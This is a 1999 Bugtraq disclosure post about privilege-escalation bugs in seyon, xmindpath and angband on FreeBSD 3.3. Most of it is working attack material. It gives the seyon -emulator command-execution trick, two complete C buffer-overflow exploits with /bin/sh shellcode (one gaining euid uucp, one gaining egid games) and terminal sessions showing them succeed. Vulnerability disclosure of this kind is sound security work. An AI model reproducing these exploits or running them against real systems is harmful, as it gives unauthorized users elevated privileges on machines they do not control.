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    Date: Вт, 30 ноя 1999  19:08:29

   От: Brock Tellier <btellier@USA.NET>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: Several FreeBSD-3.3 vulnerabilities

--------------------------------------------------------------------------------




Greetings,



RANT

I've given the FreeBSD team about a month to get something official together. 

Maintainers were supposedly contacted, but no progress has been made.  As

promised, here are the goods:



OVERVIEW

Vulnerabilities in seyon, xmindpath and angband can be used to upgrade

privileges.



BACKGROUND

All of the vulnerabilities discussed herein are based on my work on

FreeBSD 3.3-RELEASE. Each of the programs was installed with the

default permissions given when unpacked with sysinstall. 

These permissions are:

-rwxr-sr-x 1 bin dialer 88480 Sep 11 00:55 /usr/X11R6/bin/seyon

-rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath

-r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband

These programs may be installed on other systems with different

permissions as a result of a version change or a different packing

scheme.



DETAILS

 

Vuln #1 The Seyon Mess

 

To summarize: Seyon was supposedly not meant to run with additional

privileges. There are numerous problems with seyon and I've probably not

found all of them. They are:

 

Buffer Overflows:

 1. $HOME

 2. seyon -emulator $BUF

 3. seyon -modems $BUF

 4. many long text box input string overflows while in program

Input Validation:

 1. seyon will search $PATH for "xterm" and "seyon-emu" and exec with

 fullprivs (as noted in previous advisory)

 2. seyon -emulator /program/to/execute/with/full/privs

  

These privileges might be upgradable to root if you are able to a.

trojan a dialer-writable file or b. use a symlink attack to clobber .rhosts or

similar c. snoop device i/o.

 

Vuln #2 xmindpath



/usr/X11R6/bin/xmindpath (suid uucp by default), contains a buffer

overflow which will allow any user to gain uucp privs. Simply enough:

xmindpath -f $BUF



See my "faxalter" advisory for more info on gaining root w/euid uucp.

 

Vuln #3 fun and egid games

 

Want to impress your friends with the highest tetris score known to man?

 

Gain egid games with a buffer overflow in /usr/X11R6/bin/angband. The

overflows are:

 angband -u$BUF

 angband -d$BUF

 

EXPLOITS

 

Seyon:

I've not written buffer overflow exploits for Seyon since an

equivalent-yield program execution vulnerability exists, but it is

certianly possible. The latter exploit is:

seyon -emulator /program/to/execute

 

Note that you'll have to execute a program that will ignore the args

that seyon passes to it automatically as shown:

 

bash-2.03$ echo 'void main() { system("/usr/bin/id"); }' > id.c

bash-2.03$ gcc -o id id.c

bash-2.03$ seyon -emulator ./id

uid=1000(xnec) gid=1000(xnec) egid=68(dialer) groups=68(dialer),

1000(xnec)

 

xmindpath:

bash-2.03$ ls -la `which xmindpath`; id

-rwsr-xr-x 1 uucp bin 7780 Sep 11 05:15 /usr/X11R6/bin/xmindpath

uid=1000(xnec) gid=1000(xnec) groups=1000(xnec)

bash-2.03$ ./xmindx

FreeBSD xmindpath exploit /path/to/xmindpath -f $RET

Brock Tellier btellier@usa.net

Using addr: 0xbfbfcfa8

bash-2.03$ xmindpath -f $RET

lock open: File name too long

$ id

uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec)

$

 

/*

 *

 * FreeBSD 3.3 xmindpath exploit gives euid uucp

 * Compile: gcc -o xmindx xmindx.c

 * Usage: ./xmindx <offset>

 /path/to/mindpath -f $RET

 * Brock Tellier <btellier@usa.net>

 *

 */

 

 

 #include <stdlib.h>

 #include <stdio.h>

 

 char shell[]= /* mudge@l0pht.com */

 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

 "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

 "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

 "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

 

 #define EGGLEN 2048

 #define RETLEN 279

 #define ALIGN 3

 #define NOP 0x90



 int main(int argc, char *argv[]) {

 

 long int offset=0;

 int i;

 int egglen = EGGLEN;

 int retlen = RETLEN;

 long int addr = 0xbfbfcfa8;

 char egg[EGGLEN];

 char ret[RETLEN];

  

 if (argc == 2) offset = atoi(argv[1]);

 

 addr=addr + offset;

 

 fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");

 fprintf(stderr, "Brock Tellier btellier@usa.net\n");

 fprintf(stderr, "Using addr: 0x%x\n", addr);

  

 memset(egg,NOP,egglen);

 memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));

  

 for(i=ALIGN;i< retlen;i+=4)

 *(int *)&ret[i]=addr;

  

 memcpy(egg, "EGG=", 4);

 putenv(egg);

 memcpy(ret,"RET=",4);

 putenv(ret);

  

 system("/usr/local/bin/bash");

  

 }

 

 

angband:

 

bash-2.03$ gcc -o angames angames.c

bash-2.03$ angband `./angames`

eip=0xbfbfc6b4 offset=0 buflen=1095

NOPs to 1021

Shellcode to 1088

eip to 1092

garbage to 1094

$ id

uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec)

$ 



/* FreeBSD 3.3 angband exploit yields egid of group games

* usage: gcc -o angames angames.c

/path/to/angband `./angames <offset>`

* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage

* Brock Tellier <btellier@usa.net>

*/





#include <stdio.h>



char shell[]= /* mudge@lopht.com */

"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"

"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"

"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"

"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

 

 

main (int argc, char *argv[] ) {

int x = 0;

int y = 0;

int offset = 0;

int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */

char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */

char arg[bsize + 2];

int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */

 

if (argv[1]) { 

offset = atoi(argv[1]);

eip = eip + offset;

}

fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

 

for ( x = 0; x < 1021; x++) buf[x] = 0x90;

fprintf(stderr, "NOPs to %d\n", x);

 

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];

fprintf(stderr, "Shellcode to %d\n",x);

 

buf[x++] = eip & 0x000000ff;

buf[x++] = (eip & 0x0000ff00) >> 8;

buf[x++] = (eip & 0x00ff0000) >> 16;

buf[x++] = (eip & 0xff000000) >> 24;

fprintf(stderr, "eip to %d\n",x);

buf[x++] = 'X';

buf[x++] = 'X';

fprintf(stderr, "garbage to %d\n", x);



buf[bsize - 1] = '\0';



sprintf(arg, "-u%s", buf);

arg[bsize + 1] = '\0';

 

printf("%s", arg);

 

}



Brock Tellier

UNIX Systems Administrator

Chicago, IL, USA



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